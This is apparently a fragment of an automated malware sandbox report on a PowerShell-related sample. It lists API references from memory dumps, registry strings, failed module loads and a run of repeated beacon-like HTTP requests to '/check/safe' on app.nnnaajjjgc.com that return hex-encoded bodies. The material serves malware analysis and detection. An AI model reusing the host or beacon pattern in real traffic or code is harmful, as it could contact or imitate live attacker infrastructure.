"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp")33:T7a3,"SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 59999-6-01238190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 59999-6-01238190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 59999-6-01238190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 59999-9-0123BFA2 "\Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00000100.00000000.70938.00B30000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000100.00000000.70938.00C30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000100.00000000.70938.00C30000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2593F8B9-4EAF-457C-B68" in Source: 00000000-00000100.00000000.70938.00C30000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00000100.00000000.70938.01231000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00000100.00000000.70938.01231000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00000100.00000000.70938.01231000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000100.00000000.70938.01231000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00000100.00000000.70938.01231000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000100.00000000.70938.01231000.00000020.mdmp "Y\MACHINE\SOFTWARE\Microsoft\Winrrws" in Source: 00000000-00000100.00000000.70938.048A8000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Microsoft\Fusion\Publ" in Source: 00000000-00000100.00000000.70938.06F48000.00000004.mdmp34:T1291,".exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] ".exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] ".exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] ".exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135]35:T37f3,"GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463354576C3361574E74526E5661526A6C365A45684A61553970536C524F4D305A745657744661575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463354586C3361574E74526E5661526A6C365A45684A61553970536C56585630706F5631524A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464633546C4E3361574E74526E5661526A6C365A45684A61553970536A5A6956556F305756567661575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464633546C4E3361574E74526E5661526A6C365A45684A61553970536D31615256704D5957315A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464633546E6C3361574E74526E5661526A6C365A45684A61553970536B6456534645795631645261575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463354304E3361574E74526E5661526A6C365A45684A6155397053544E56574768575954464A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463454554E3361574E74526E5661526A6C365A45684A61553970536D7454563170465A444E6E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463454564E3361574E74526E5661526A6C365A45684A61553970536C6868567A56355457356E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463454576C3361574E74526E5661526A6C365A45684A61553970536E6C614D5768475956564E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463454586C3361574E74526E5661526A6C365A45684A6155397053544A69563034795A444A6E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464634546C4E3361574E74526E5661526A6C365A45684A61553970536B6C5462544673556A4A4E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464634546C4E3361574E74526E5661526A6C365A45684A61553970536C5656566D686F5954465661575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464634546E6C3361574E74526E5661526A6C365A45684A615539705358704F523239365955644E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463454304E3361574E74526E5661526A6C365A45684A615539705354526B56315A745A47746E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463554554E3361574E74526E5661526A6C365A45684A61553970536C685A56557061596C645661575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463554564E3361574E74526E5661526A6C365A45684A61553970536D7853524570445932706E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463554586C3361574E74526E5661526A6C365A45684A61553970536B6C58534768355A57784E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463554586C3361574E74526E5661526A6C365A45684A61553970536D744F53477858556A4E5661575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464635546C4E3361574E74526E5661526A6C365A45684A615539705358706C563170305557707261575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464635546C4E3361574E74526E5661526A6C365A45684A615539705354564F534570445530647A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464635546E6C3361574E74526E5661526A6C365A45684A61553970536D784F626D524D5654426E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F52464635546E6C3361574E74526E5661526A6C365A45684A61553970536E464F625456715430566A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463554304E3361574E74526E5661526A6C365A45684A615539705354464F4D3035615955566E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A51544A4F5246463554314E3361574E74526E5661526A6C365A45684A61553970536E6855566B6B31557A4A5A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:30 GMT Content-Type: text/html; charset=UTF-8 